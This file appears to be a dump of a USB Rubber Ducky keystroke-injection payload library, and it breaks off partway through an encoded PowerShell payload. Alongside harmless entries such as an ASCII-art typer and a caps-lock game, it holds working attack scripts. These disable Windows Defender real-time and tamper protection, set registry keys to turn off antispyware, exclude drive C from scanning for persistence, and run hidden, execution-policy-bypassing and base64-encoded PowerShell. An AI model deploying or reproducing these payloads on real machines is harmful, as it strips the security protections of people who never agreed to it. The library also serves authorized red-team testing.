#M##B@##AAHX225522i5X5S2559h##M##@#@@@@i.;s2XXX2isS3B##@@@##@@MA&3iSX25XS2322iss2&BBAB\r\nENTER\r\nSTRING       #BA&93X52X559GHAM#H3h9&3&&BM@#@#@#@@@@@h;::;rsrrr;riG#M##@BB@@@@@@###G2XGhi;;iiXh2A#@#\r\nENTER\r\nSTRING       #H9X9X9223XS9ABMGG@@@#@@@@@@@@@@@@@@H2;;;::;;;::;;:;5B#BABBH@@@@@@@@@@@@@@G;r2hhXS&@@#\r\nENTER\r\nSTRING       ##BG3H#AA9X&M#&GA&@@@@@@M@@@@###@#X;:.  ..,,,...,:,:sGMMhGHM@@@@@#BAh5issisriAH&AhM@@#\r\nENTER\r\nSTRING       #BB#M@@AhhAA&h52X#@@G@@#B@@@##@##;        ...  .,,:;2#HA2&H@@##@@@MAAX:.,;52h92GA&AGB#\r\nENTER\r\nSTRING       #MABAHMX2&3GX2SGHM#MhB@BAM@####A5.        .... .,,;;i&3BGA#@@#@##@@@@#XiSsiisi525rSGH#\r\nENTER\r\nSTRING       #M&HX2BHrrrSSS3hHAAA3&AAB@@@#&33;       ....  ..,,:rXB&BGH@@@#&3AH#@@#MHhXissGiriS2XXM\r\nENTER\r\nSTRING       #MB#AH@@G3r:;risXAA92&#@@@@@&rrs,       ....  .,:::r93GHAM#HGXS5XhA#@@@@MAGXsrrr;:,,;G\r\nENTER\r\nSTRING       #AAA&BMHB@@#3ssiiXG9H@@@##@#s,,.   ...    .. ...,,:r39HHG2s;::;;s2XH@@@@@@@@@##@HH9G&9\r\nENTER\r\nSTRING       #A&925GAAB##@A3A3r;&@@@##@@Hr      ....         .:;sS5X5r;;;i3AB##@@@@@@@@@@@@@@@B2s;5\r\nENTER\r\nSTRING       #AAHHHH&32&&33X5Sr2@@@@##@#HHr     .,.           .:ri25i2A#@@@@@@@@@@@@@@@@@#@@@@@@AS9\r\nENTER\r\nSTRING       #H&AG22iri2SrrsiG@@@@@#B@MBAAMAAS;;;.           :iX9AM#@@@@@@@@@@@@@@@@@@@@@@AHB#@@@@#\r\nENTER\r\nSTRING       @M&h52r2GHXX&HB#@@@#@#M@MGh9HM@@#@@#AXirr;:,,,rXH@MH@@@@@@@@####@@@@@@@@@@@@@#G&9H@#B#\r\nENTER\r\nSTRING       @#AXX92S2X5iSS2@@###@@##AhGAH@#B@#HM#@@@@@@@####@@M#@@@@@#A9&#B#@@@@@@@@@@@@@@#@M#@@AM\r\nENTER\r\nSTRING       @@@BHAGX25222i2@@@##@@@@AA#&#@B@#GG&BBHB##@@#MH#@@@@@@@#MMh9@B#@######@@@@@@@@@M#@@@##\r\nENTER\r\nSTRING       @@@@#MMBHHMMBAM@@@@@@#@#A###@H#@M&&hGAHM###BM#@@@@@@###BB#B@MHA25hHAHB#@@@@@@@@AXGG#@@\r\nENTER\r\nSTRING       @#@#GAA&HBBAB##@@@@@@@@#M@#@#H#@MH#HBBM@#HH##@@@@@@@#@##@@@MBH2XG&H&BM#@@@@@@@@@BBA@@@\r\nENTER\r\nSTRING       ##@2iisii5is5A#@@@@@@@@@#@@@##@@#@@@@@@#H#BM@@@@@@@@@@#@@@#AB&XG9hHM@@@@@@##@@@@@@#@@@\r\nENTER\r\nSTRING       @#XsrsrrrrrrS#@#@@@#@@@@@@@@M#@@@@#@@@#HHM#@@@@@@@@@@@@@@#AHBh9AA#@@@@@@@@@#M@@@#hAh#@\r\nENTER\r\nSTRING       #GSX222Xis5S#@@@@@@@@@@@#@@@##@@@@@@@@MMM@@@#@@@@@@@@@@@#BAH#AA#@@@@@@@@@@@###@@@AGG3M\r\nENTER\r\nSTRING       #@@@#MMMMB#@@@@@#MM#@@@@@@@@##@@@@@@####@@###@@@@@@@@@@@#MB@@@@@@@#@@@@@@@@@#@@@@@@@@#\r\nENTER\r\nSTRING       ####MHAB#@@@@@@#MMBB##@@@@@@@#@@@@@##@#####@@@@@@@@@@@@@##@@@@@@@##@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       #MHHH&H@@@@##@@MBHHHB##@#@@@@#@#@@@#@####@@@##@@@@@@@@@@##@@@@@@##@@@@@@@@@@@@@@#####@\r\nENTER\r\nSTRING       ###BB@@@@@###MMBH&&AM####@@@####@@@@#B#@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###M#@\r\nENTER\r\nSTRING       #M#M@@@@###BAM#@###M##M##@@@#@@@@@@MB#@@@@@@@@@@@@@@@@@@@@@@@@####@#@@@@@@@@@@@####M#@\r\nENTER\r\nSTRING       ###@@##M@@@@@@@@@@@@@@##@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@###B##@@@@@@@@###@@#B@\r\nENTER\r\nSTRING       @@@@@##@@#@H&&ABAHHB@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@###@@@@@@@@###@@@@#@\r\nENTER\r\nSTRING       @@@@#@#@MH&Ai&#G&A3&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#@@##@@BHHGGXrXA23GXS#@Mh529H@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@##@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@##@@B#Xi2SH&SA3Xihi.      ,;SA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####@@@@@@@@@@@@@#@@@@@\r\nENTER\r\nSTRING       @@@@##@@##X5M#32#BAH@5:          ..,;3@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#@@@@@@@#H#@SH@#MA#B3r,:,::,......   ;XA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @####@#@@@@@#A@MMHA#A@hiS5Sir::,,,,,..   .rA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#######@@##@@@@@@#@#@@MM#H95sr;;:;;,.::   .2H###&9AH##ASs2GG&&H@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#@@@@###@@@@@@@@#@@@@@@@@#hSSisrrsir:rH@X. .riiir:;SSSh92i2A&AAA#@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@@@@@@@@@@@@@@MXir,;G&X2555ii32;,2@@#Sr5X29AA9AG9BMA22B#MBM#@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@@@@@@@@#@@@A;:ri:.:rG#HhXXi;rA#i.,X@@#&22h&##hHG3B@@#HM#BBB@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@@@@@#@@##@@iiA2;rr,:r3##GhAh;.r#@i;rG@@@H#MM#M@#GX#@###@@###@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@###@########@#iGSr3&r;:rsX##&X#@3:,A@#irSB@@##@#M@@@##@@##@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@##@@#@@#######@#X9SAB5i;rXh&B@@@H#@#&hA@@MirA@#@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@@@@@@@@##@@#BAA2srX#@@@@@@@@@@@@@#M#@@#H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@##@@@@@@@##@@@@@@#HSiA@@@@#M##B##@#M#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#@@@#####@@####@@@@@@@9H@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @#@#@##@@@@@@####@@@@@@MH@@@##@@@#####@@@@@@#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@#@@@###@@##@#@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@##@@##@@#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@\r\nENTER\r\nSTRING       @@@@@@@###@@@@@@@@#@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@@@@@@@@@###@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nSTRING       @@@@@@#@@@#@#########@@@@@@@########@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\r\nENTER\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/general/Ascii/Win_HID_MonaLisa/readme.md",
    "content": "# Mona Lisa\n- Author: Cribbit\n- Version: 1.0\n- Target: Windows\n- Category: General\n\n## Change Log\n| Version | Changes         |\n| ------- | --------------- |\n| 1.0     | Initial release |\n\n## Description\nOpens notepad and displays an ascii art version of the Mona Lisa.\n"
  },
  {
    "path": "payloads/library/general/Canary_Duck/payload.txt",
    "content": "REM Title:        Canary Duck\nREM Description:   Opens hidden powershell and connects to canary webserver using Invoke-WebRequest alerting you to spies and snoops.\nREM Author:        Jessie Crimson Hart\nREM Props:         Hak5, Thinkst\nREM Version:       1.0\nREM Category:      General\nREM Target:        Windows 10 (Powershell)\nREM Attackmodes:   HID\nDELAY 1000\nGUI r\nDELAY 100\nREM Run a hidden powershell\nSTRING powershell -windowstyle hidden\nENTER\nREM make sure powershell is open by waiting for 1 second.\nDELAY 1000\nREM Open IE and connect to canary site. Replace the URL with the URL of your canary token from http://canarytokens.com\nSTRING powershell -NoP -NonI -W Hidden -Exec Bypass Invoke-WebRequest \"[CANARY URL HERE]\"\nENTER\n"
  },
  {
    "path": "payloads/library/general/ChromebookProvisioning/payload.txt",
    "content": "REM Title: ChromeBook Provisioning\nREM Author: Korben / Google\nREM Description: https://support.google.com/chrome/a/answer/9412749?hl=en#zippy=\nREM modified from source for easier configuration using DuckyScript 3\nREM REQUIRES TESTING. This is simply an updated syntax adaptation from the above link.\nREM Target: Chromebook\nREM Category: General\n\n\nREM Required configuration\nDEFINE #SSID example\nDEFINE #WIFI_PASS example\nDEFINE #ENROLLMENT_ACCOUNT example\nDEFINE #ACCOUNT_PASSWORD example\n\n\nREM Tweak values below until reliable\nDEFINE #BOOT_DELAY 3000\nDEFINE #WIFI_CONNECT_DELAY 9000\nDEFINE #ENROLLMENT_COMPLETION_DELAY 8000\n\nLED_R\n\nREM Part One: Wifi Setup\nDELAY #BOOT_DELAY\nTAB\nTAB\nTAB\nTAB\nENTER\nDELAY 1000\nTAB\nTAB\nTAB\nENTER\nDELAY 500\nSTRING #SSID\nDELAY 500\nTAB\nDELAY 500\nDOWN\nDOWN\nDELAY 500\nTAB\nSTRING #WIFI_PASS\nDELAY 500\nENTER\nREM Long Pause while Connection is established.\nDELAY #WIFI_CONNECT_DELAY\nREM Part One and One half: Go through First run Setup.\nTAB\nTAB\nENTER\nDELAY 500\nTAB\nTAB\nTAB\nENTER\nDELAY 500\nCTRL ALT e\nTAB\nTAB\nTAB\nTAB\nTAB\nENTER\nREM Part Two: Enrollment (Long Pauses in case it's having issues with wifi or render)\nDELAY 4000\nSTRING #ENROLLMENT_ACCOUNT\nENTER\nDELAY 5000\nSTRING #ACCOUNT_PASSWORD\nDELAY 500\nENTER\nREM Long Pause while device is enrolled.\nDELAY #ENROLLMENT_COMPLETION_DELAY\nENTER\n\n\nLED_G\n"
  },
  {
    "path": "payloads/library/general/Defeat_Defender/ReadMe.md",
    "content": "Slightly modified version of the \"[Disable Windows Defender](https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/library/general/Disable_Windows_Defender/payload.txt)\" by Zero_Sploit.\n\nUpdated by B33m0 to add exception of drive C: to Defender protection, and finally updated by [UberGuidoZ](https://github.com/UberGuidoZ) to fix some UAC and newer Windows version issues.\n\nDescription: Opens security settings, disables Defender, then adds an exception of drive C for persistence.<br>\n<b>NOTE: Requires local admin privileges</b>\n\nTarget: Windows 10/11 (Powershell 2.0 or above)\n"
  },
  {
    "path": "payloads/library/general/Defeat_Defender/payload.txt",
    "content": "REM Title: Disable Windows Defender\nREM Author: Zero_Sploit (v1.0)\nREM Updated: B33m0 (v1.1)\nREM Updated: UberGuidoZ (v1.2)\nREM Description: Opens security settings, disabled Defender, then adds an exception of drive C for persistence\nREM Target: Windows 10/11 (Powershell)\nREM Version: 1.2\n\nREM Pause for everything to recognize and be ready\nDELAY 2000\n\nREM Open Windows Defender Settings\nCTRL ESC\nDELAY 750\nSTRING windows security\nDELAY 250\nENTER\nDELAY 1000\nENTER\n\nREM Navigate to Manage Settings\nDELAY 500\nTAB\nDELAY 100\nTAB\nDELAY 100\nTAB\nDELAY 100\nTAB\nDELAY 100\nENTER\nDELAY 500\n\nREM Open and turn off Realtime Protection\nSPACE\nDELAY 1000\nALT y\nDELAY 1000\n\nREM Exit security settings\nALT F4\nDELAY 500\n\nREM Open PowerShell\nGUI r\nDELAY 500\nSTRING powershell\nCTRL-SHIFT ENTER\nDELAY 1000\nALT y\nDELAY 1000\n\nREM Exclude drive C from Defender\nSTRING Add-MpPreference -ExclusionPath “C:”\nENTER\nDELAY 2000\n\nREM Exit Powershell\nSTRING EXIT\nENTER\n"
  },
  {
    "path": "payloads/library/general/Disable-Windows-Defender-Permanently/payload.txt",
    "content": "REM Title: Disable Windows Defender Permanently\nREM Description: Disables windows defender permanently through Registry Editor, computer has to restart for changes to take effect\nREM Author: https://github.com/HokkaidoInu\nREM delay: You may want to change the delays and/or delete some, I have it like it is because I have really slow computer\nDELAY 4000\nGUI r\nDELAY 4000\nSTRING regedit\nDELAY 4000\nENTER\nDELAY 4000\nLEFT\nDELAY 4000\nENTER\nDELAY 4000\nTAB\nDELAY 4000\nTAB\nDELAY 4000\nSTRING HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING n\nDELAY 4000\nSTRING d\nDELAY 4000\nSTRING DisableAntiSpyware\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING m\nDELAY 4000\nSTRING 1\nDELAY 4000\nENTER\nDELAY 4000\nTAB\nDELAY 4000\nTAB\nDELAY 4000\nAPP\nDELAY 4000\nSTRING n\nDELAY 4000\nSTRING k\nDELAY 4000\nSTRING Real-Time Protection\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING n\nDELAY 4000\nSTRING d\nDELAY 4000\nSTRING DisableBehaviorMonitoring\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING m\nDELAY 4000\nSTRING 1\nDELAY 4000\nENTER\nDELAY 4000\nTAB\nDELAY 4000\nTAB\nDELAY 4000\nAPP\nDELAY 4000\nSTRING n\nDELAY 4000\nSTRING d\nDELAY 4000\nSTRING DisableOnAccessProtection\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING m\nDELAY 4000\nSTRING 1\nDELAY 4000\nENTER\nDELAY 4000\nTAB\nDELAY 4000\nTAB\nDELAY 4000\nAPP\nDELAY 4000\nSTRING n\nDELAY 4000\nSTRING d\nDELAY 4000\nSTRING DisableScanOnRealtimeEnable\nDELAY 4000\nENTER\nDELAY 4000\nAPP\nDELAY 4000\nSTRING m\nDELAY 4000\nSTRING 1\nDELAY 4000\nENTER\nDELAY 4000\nALT F X\n"
  },
  {
    "path": "payloads/library/general/Disable_Windows_Defender/payload.txt",
    "content": "REM Title:         Disable_Windows10_Defender\nREM Description    Disable Windows Defender and Tamper protection on Windows 10\nREM Author:        Zero_Sploit\nREM Props:         Hak5 Team\nREM Version:       1.0\nREM Target:        Windows 10\nREM Attackmodes:   HID\nDELAY 1000\nREM Open Windows Defender Settings\nCTRL ESC\nDELAY 1000\nSTRING windows security\nDELAY 500\nENTER\nDELAY 500\nENTER\nREM Navigate to Manage Settings then turn off Tamper Protection && Realtime Protection\nDOWN\nDOWN\nDOWN\nDOWN\nENTER\nDELAY 500\nTAB\nTAB\nTAB\nTAB\nDELAY 500\nSHIFT SPACE\nDELAY 1000\nALT y\nDELAY 500\nALT F4\nDELAY 1000\nCTRL ESC\nDELAY 1000\nSTRING windows security\nDELAY 500\nENTER\nDELAY 500\nENTER\nDOWN\nDOWN\nDOWN\nDOWN\nENTER\nDELAY 500\nSHIFT SPACE\nDELAY 500\nALT y\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/general/DuckyCave-Game/payload.txt",
    "content": "REM Title: Ducky Cave\nREM Author: Hak5's Korben (@notkorben) w. tweaks by @Hak5Darren\nREM Description: Do you have what it takes to be a Ducky Cave champion?\nREM This incredible Keystroke Injection game for the new USB Rubber Ducky\nREM shows off the power of DuckyScript 3.0 while testing your skills!\nREM\nREM Usage: Open notepad or similar, deploy payload. \nREM Use CAPSLOCK to navigate randomly generated cave!\nREM Post your score on Twitter to enter the points-don't-matter leaderboard!\nREM\nREM Note: Requires target which reflects lock keys & new USB Rubber Ducky\nREM\nATTACKMODE HID STORAGE\nLED_G\nDELAY 1000\nSTRINGLN QUACK! Hello world!\nENTER\nDELAY 1200\nSTRINGLN       _      _      _      USB       _      _      _\nSTRINGLN    __(.)< __(.)> __(.)=   Rubber   >(.)__ <(.)__ =(.)__\nSTRINGLN    \\___)  \\___)  \\___)    Ducky!    (___/  (___/  (___/ \nENTER\nSTRINGLN * Documentation: https://docs.hak5.org\nSTRINGLN * Community: https://community.hak5.org\nSTRINGLN * Payloads: https://payloads.hak5.org\nDELAY 1200\nENTER\nSTRINGLN Press CAPSLOCK 5 times for fun! (Windows/Linux)\nWAIT_FOR_CAPS_CHANGE\nLED_OFF\nWAIT_FOR_CAPS_CHANGE\nLED_G\nWAIT_FOR_CAPS_CHANGE\nLED_OFF\nWAIT_FOR_CAPS_CHANGE\nLED_G\nWAIT_FOR_CAPS_CHANGE\nLED_R\nSTRINGLN  ___          _         ___               _ _\nSTRINGLN |   \\ _  _ __| |___  _ / __|__ ___ _____ | | |\nSTRINGLN | |) | || / _| / / || | (__/ _` \\ V / -_)|_|_|\nSTRINGLN |___/ \\_,_\\__|_\\_\\\\_, |\\___\\__,_|\\_/\\___|(_)_)\nSTRINGLN                   |__/                   \nDEFINE RIGHT 0\nDEFINE LEFT 1\nDEFINE GAME_MAX_WIDTH 40\nDEFINE GAME_SPEED 50\nVAR $mode = RIGHT\nVAR $lock_state = FALSE\nVAR $score = 0\nVAR $running = TRUE\nVAR $direction_changes = 0\nVAR $D = 0\nVAR $INPUT = 0\nVAR $MOD = 0\nVAR $P = FALSE\nFUNCTION PRINTDIGIT()\n    IF ($D == 0) THEN\n        STRING 0\n    ELSE IF ($D == 1) THEN\n        STRING 1\n    ELSE IF ($D == 2) THEN\n        STRING 2\n    ELSE IF ($D == 3) THEN\n        STRING 3\n    ELSE IF ($D == 4) THEN\n        STRING 4\n    ELSE IF ($D == 5) THEN\n        STRING 5\n    ELSE IF ($D == 6) THEN\n        STRING 6\n    ELSE IF ($D == 7) THEN\n        STRING 7\n    ELSE IF ($D == 8) THEN\n        STRING 8\n    ELSE IF ($D == 9) THEN\n        STRING 9\n    ELSE \n        STRING ?\n    END_IF\nEND_FUNCTION\nFUNCTION CONSUME()\n    $D = 0\n    WHILE ($INPUT >= $MOD)\n        $D = ($D + 1)\n        $INPUT = ($INPUT - $MOD)\n    END_WHILE\n    IF (($D > 0) || ($P == TRUE)) THEN\n        $P = TRUE\n        PRINTDIGIT()\n    END_IF\nEND_FUNCTION\nFUNCTION TRANSLATE_INT() \n    $P = FALSE\n    IF ( $INPUT >= 10000) THEN\n        $MOD = 10000\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 1000) || ($P == TRUE)) THEN\n        $MOD = 1000\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 100) || ($P == TRUE)) THEN\n        $MOD = 100\n        CONSUME()\n    END_IF\n    IF (($INPUT >= 10) || ($P == TRUE)) THEN\n        $MOD = 10\n        CONSUME()\n    END_IF()\n    $D = $INPUT\n    PRINTDIGIT()\nEND_FUNCTION\nFUNCTION TRANSLATE_BOOL()\n    IF ($INPUT == TRUE) THEN\n        STRING TRUE\n    ELSE IF ($INPUT == FALSE) THEN\n        STRING FALSE\n    ELSE \n        STRING ?\n    END_IF\n    ENTER\nEND_FUNCTION\nVAR $CD = 3\nFUNCTION COUNTDOWN()\n    WHILE ( $CD > 0 )\n        STRING .\n        $CD = ($CD - 1)\n        DELAY 1000\n    END_WHILE\nEND_FUNCTION\nFUNCTION ENSURE_CAPS_OFF()\n    IF ($_CAPSLOCK_ON == TRUE) THEN\n        CAPSLOCK\n    END_IF\nEND_FUNCTION\nFUNCTION init() \n    $_RANDOM_MIN = 9\n    $_RANDOM_MAX = 19\n    VAR $l_wall = $_RANDOM_INT\n    $_RANDOM_MIN = 20 \n    $_RANDOM_MAX = 29\n    VAR $player = $_RANDOM_INT\n    $_RANDOM_MIN = 30\n    $_RANDOM_MAX = 40\n    VAR $r_wall = $_RANDOM_INT\nEND_FUNCTION\nFUNCTION check_input()\n    VAR $changed = FALSE\n    IF ($_CAPSLOCK_ON != $lock_state) THEN\n        $lock_state = $_CAPSLOCK_ON\n        $direction_changes = ($direction_changes + 1)\n        IF ($mode == RIGHT) THEN\n            $mode = LEFT\n        ELSE\n            $mode = RIGHT\n        END_IF\n    END_IF\nEND_FUNCTION\nFUNCTION end_game()\n        LED_R\n        $running = FALSE\nEND_FUNCTION\nFUNCTION move_walls()\n    $_RANDOM_MIN = 0\n    $_RANDOM_MAX = 100\n    VAR $CHANCE = $_RANDOM_INT\n    IF ($CHANCE > 45) THEN\n        IF ($l_wall < GAME_MAX_WIDTH) THEN\n            $l_wall = ($l_wall + 1)\n            REM STRING l+\n        END_IF\n    ELSE\n        IF ($l_wall > 0) THEN\n            $l_wall = ($l_wall - 1)\n            REM STRING l-\n        ELSE\n            $l_wall = ($l_wall + 1)\n        END_IF\n    END_IF\n    $CHANCE = $_RANDOM_INT\n    IF ($CHANCE > 45) THEN\n        IF ($r_wall > 0) THEN\n            $r_wall = ($r_wall - 1)\n            REM STRING r-\n        END_IF\n    ELSE\n        IF ($r_wall < GAME_MAX_WIDTH) THEN\n            $r_wall = ($r_wall + 1)\n            REM STRING r+\n        ELSE\n            $r_wall = ($r_wall - 1)\n        END_IF\n    END_IF\n    REM ENTER\nEND_FUNCTION\nFUNCTION move_player()\n    IF ($mode == RIGHT) THEN\n        IF ($player < GAME_MAX_WIDTH) THEN\n            $player = ($player + 1)\n        END_IF\n    ELSE IF ($mode == LEFT) THEN\n        IF ($player > 0) THEN\n            $player = ($player - 1)\n        END_IF\n    END_IF\nEND_FUNCTION\nFUNCTION draw()\n    IF (($player <= $l_wall) || ($player >= $r_wall)) THEN\n        end_game()\n        STRING BONK\n        RETURN 0\n    END_IF\n    VAR $l_inside_whitespace = (($player - $l_wall) - 1)\n    VAR $r_inside_whitespace = (($r_wall - $player) - 1)\n    IF ($l_wall > 1) THEN\n        VAR $l_outside_whitespace = ($l_wall - 1)\n        WHILE ($l_outside_whitespace > 0)\n            SPACE\n            $l_outside_whitespace = ($l_outside_whitespace - 1)\n        END_WHILE\n    END_IF \n    STRING |\n    WHILE ($l_inside_whitespace > 0)\n        SPACE\n        $l_inside_whitespace = ($l_inside_whitespace - 1)\n    END_WHILE\n    IF ($mode == RIGHT) THEN\n        STRING >\n    ELSE IF ($mode == LEFT) THEN\n        STRING <\n    END_IF\n    WHILE ($r_inside_whitespace > 0)\n        SPACE\n        $r_inside_whitespace = ($r_inside_whitespace - 1)\n    END_WHILE\n    STRING |\n    ENTER\n    $score = ($score + 1)\n    RETURN 0\nEND_FUNCTION\nFUNCTION run()\n    check_input()\n    move_walls()\n    check_input()\n    move_player()\n    check_input()\n    draw()\nEND_FUNCTION\nFUNCTION play_cave()\n    WHILE TRUE\n        ENSURE_CAPS_OFF()\n        $score = 0\n        LED_G\n        STRING Game Starting in 3s\n        $CD = 3\n        COUNTDOWN()\n        ENTER\n        STRING GOOD LUCK!\n        ENTER\n        init()\n        WHILE ($running == TRUE) \n            DELAY GAME_SPEED\n            run()\n        END_WHILE\n        ENSURE_CAPS_OFF()\n        ENTER\n        STRING Left wall:\n        SPACE\n        $INPUT = $l_wall\n        TRANSLATE_INT()\n        ENTER\n        STRING Right wall:\n        SPACE\n        $INPUT = $r_wall\n        TRANSLATE_INT()\n        ENTER\n        STRING Player position:\n        SPACE\n        $INPUT = $player\n        TRANSLATE_INT()\n        ENTER\n        STRING Player Moves: \n        SPACE\n        $INPUT = $direction_changes\n        TRANSLATE_INT()\n        ENTER\n        STRING GAME OVER. SCORE:\n        SPACE\n        $INPUT = $score\n        TRANSLATE_INT()\n        ENTER\nSTRING https://twitter.com/intent/tweet?text=I%20scored%20\n        $INPUT = $score\n        TRANSLATE_INT()\nSTRING %20in%20DuckyCave%20with%20my%20USB%20Rubber%20Ducky%21%20&url=https://hak5.org/duckycave&hashtags=DuckyCave&via=hak5\n        ENTER\n        ENTER\n        STRINGLN Shall we play again? Press CAPS to restart.\n        WAIT_FOR_CAPS_CHANGE\n        $running = TRUE\n        DELAY 100\n    END_WHILE \nEND_FUNCTION\nBUTTON_DEF\n    end_game()\nEND_BUTTON\nplay_cave()\n"
  },
  {
    "path": "payloads/library/general/EngagementDucky/payload.txt",
    "content": "REM Defining Attackmode & USB identifiers. These will help the blue team to identify the moment of compromise\r\nATTACKMODE HID STORAGE VID_D3AD PID_B33F MAN_RedTeamCompany PROD_DUCKY SERIAL_25102022\r\n\r\nREM Opening a hidden powershell instance which pops the message box\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRINGLN powershell -NoP -NonI -w h\r\nDELAY 750\r\nSTRINGLN powershell.exe -enc JABVACAAPQAgAHcAaABvAGEAbQBpADsAJABtAD0AIgAkAFUAIABpAHMAIABjAG8AbgBzAGkAZABlAHIAZQBkACAAYwBvAG0AcAByAG8AbQBpAHMAZQBkACEAIABUAGgAaQBzACAAaQBuAGMAaQBkAGUAbgB0ACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBwAG8AcgB0AGUAZAAuACIAOwAkAEwAIAA9ACAARwBlAHQALQBEAGEAdABlAA0ACgBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAIgBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAIgApADsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAkAG0ALAAiACQATAAgAC0AIABQAHIAbwBvAGYAIABvAGYAIABDAG8AbQBwAHIAbwBtAGkAcwBlACIALAAwACwAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoARQB4AGMAbABhAG0AYQB0AGkAbwBuACkA;exit\r\nDELAY 500\r\nGUI r\r\nDELAY 500\r\n\r\nREM New powershell process for generating a proof of compromise screenshot - needs to be a seperate process because of the messagebox\r\nSTRINGLN powershell -NoP -NonI -w h\r\nDELAY 750\r\nSTRINGLN powershell.exe -enc JABZACAAPQAoACgAZwB3AG0AaQAgAHcAaQBuADMAMgBfAHYAbwBsAHUAbQBlACAALQBmACAAJwBsAGEAYgBlAGwAPQAnACcARABVAEMASwBZACcAJwAnACkALgBOAGEAbQBlACkAOwANAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgACoAbQAuACoAcwAuAEYAKgBzADsADQAKAEEAZABkAC0AdAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIAAqAG0ALgBEAHIAKgBnADsADQAKACQAUwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuADsADQAKACQAVwAgAD0AIAAkAFMALgBXAGkAZAB0AGgAOwANAAoAJABIACAAPQAgACQAUwAuAEgAZQBpAGcAaAB0ADsADQAKACQARgAgAD0AIAAkAFMALgBMAGUAZgB0ADsADQAKACQAVAAgAD0AIAAkAFMALgBUAG8AcAA7AA0ACgAkAEIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABXACwAIAAkAEgAOwANAAoAJABHACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABCAC